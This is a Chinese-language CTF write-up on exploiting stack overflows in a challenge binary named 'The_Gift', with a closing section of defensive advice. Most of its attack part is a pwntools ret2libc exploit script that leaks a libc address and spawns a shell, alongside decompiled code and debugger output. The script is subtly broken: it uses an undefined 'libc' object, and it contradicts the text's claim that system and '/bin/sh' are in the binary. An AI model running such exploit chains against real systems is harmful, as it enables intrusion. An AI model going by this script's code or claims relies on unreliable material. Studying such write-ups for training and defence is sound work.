CTF二进制漏洞利用:从ELF分析到ROP链构造
1. 项目背景与赛事定位
"PolarCTF2026年春季挑战赛"作为网络安全领域的专业赛事,延续了往届的技术深度与创新特色。今年的"The_Gift"赛题从题目命名就充满隐喻色彩——表面看似"礼物"的二进制文件,往往暗藏玄机。这类题型通常考察选手对程序逆向分析、漏洞利用和加密算法的综合掌握能力。
在CTF竞赛中,以"礼物"为名的题目通常具有以下特征:
- 文件本身可能包含隐藏数据或加密内容
- 程序逻辑中可能存在故意设置的漏洞点
- 解题过程需要多步骤的分析与操作
- 最终flag可能经过多层编码或加密
2. 初步分析与文件检测
2.1 基础文件信息收集
拿到题目文件后,我首先使用file命令进行基础检测:
file The_Gift The_Gift: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=..., not stripped关键信息解读:
- 64位ELF可执行文件
- 动态链接且未去除符号表(not stripped)
- 使用GNU/Linux 3.2.0作为目标平台
2.2 安全机制检查
使用checksec工具进一步分析安全防护机制:
checksec --file=The_Gift RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 83 Symbols No安全机制分析:
- 未启用完整RELRO(重定位只读)
- 无栈保护(canary)
- 启用NX(堆栈不可执行)
- 未启用PIE(地址空间随机化)
3. 静态逆向分析
3.1 函数逻辑解析
使用IDA Pro加载程序,发现几个关键函数:
- main函数流程:
int __cdecl main(int argc, const char **argv, const char **envp) { init_proc(); gift_wrapping(); vulnerable_function(); return 0; }- gift_wrapping函数:
void gift_wrapping() { char s[32]; // [rsp+0h] [rbp-20h] BYREF memset(s, 0, sizeof(s)); puts("This gift is specially prepared for you!"); printf("What's your name? "); gets(s); printf("Hello, %s!\n", s); }- vulnerable_function:
void vulnerable_function() { char buf[16]; // [rsp+0h] [rbp-10h] BYREF puts("Now, let's open the gift!"); read(0, buf, 0x100); }3.2 漏洞点识别
通过静态分析发现两处明显漏洞:
- gift_wrapping函数中使用不安全的gets()函数
- vulnerable_function中存在栈缓冲区溢出(read读取0x100字节到16字节缓冲区)
4. 动态调试与漏洞利用
4.1 栈结构分析
使用gdb调试分析gift_wrapping函数的栈布局:
(gdb) disas gift_wrapping Dump of assembler code for function gift_wrapping: 0x0000000000401186 <+0>: push rbp 0x0000000000401187 <+1>: mov rbp,rsp 0x000000000040118a <+4>: sub rsp,0x20 ...栈空间分配:
- 32字节缓冲区(s)
- 8字节保存的rbp
- 返回地址(8字节)
4.2 偏移量计算
通过pattern create/offset确定溢出点:
from pwn import * p = process('./The_Gift') p.sendlineafter('name? ', cyclic(100)) p.wait() # 在gdb中查看崩溃时的RSP值 offset = cyclic_find(0x6161616161616166) # 结果为404.3 ROP链构造
由于NX保护开启,需要构造ROP链实现利用:
- 查找可用gadget:
ROPgadget --binary The_Gift --ropchain- 关键gadget:
- pop rdi ; ret
- ret
- 程序中存在system和/bin/sh字符串
5. 完整利用脚本
基于以上分析编写Python利用脚本:
#!/usr/bin/env python3 from pwn import * context.binary = elf = ELF('./The_Gift') rop = ROP(elf) # 第一段溢出:泄露libc地址 p = process('./The_Gift') p.recvuntil('name? ') payload = flat( b'A'*40, rop.find_gadget(['pop rdi', 'ret'])[0], elf.got['puts'], elf.plt['puts'], elf.symbols['vulnerable_function'] ) p.sendline(payload) p.recvuntil('!\n') leak = u64(p.recvline().strip().ljust(8, b'\x00')) libc.address = leak - libc.symbols['puts'] # 第二段溢出:获取shell payload = flat( b'A'*24, rop.find_gadget(['ret'])[0], rop.find_gadget(['pop rdi', 'ret'])[0], next(libc.search(b'/bin/sh')), libc.symbols['system'] ) p.send(payload) p.interactive()6. 防御措施与安全建议
针对此类漏洞,开发者应采取以下防护措施:
- 代码层面:
- 使用安全的字符串处理函数(fgets替代gets)
- 严格校验输入长度
- 启用现代编译防护措施
- 编译选项:
gcc -fstack-protector-strong -pie -fPIE -Wl,-z,now,-z,relro- 系统防护:
- 启用ASLR(sysctl -w kernel.randomize_va_space=2)
- 限制可执行内存区域
7. 竞赛技巧与经验分享
在CTF比赛中处理此类题目的实用技巧:
- 快速分析三板斧:
- file/checksec了解基础信息
- strings查找显式字符串
- ltrace/strace跟踪系统调用
- 逆向工程加速技巧:
- 优先分析main和明显命名的函数
- 关注危险函数调用(gets, strcpy等)
- 注意程序中的异常数据操作
- 漏洞利用调试技巧:
- 使用cyclic pattern快速定位偏移
- GDB配合peda/pwndbg插件提高效率
- 善用pwntools的ROP功能
实际比赛中,这类题目往往会在基础漏洞上增加额外保护或混淆措施。建议在本地测试时尝试修改编译选项,模拟不同防护级别下的利用方式,提高适应能力。
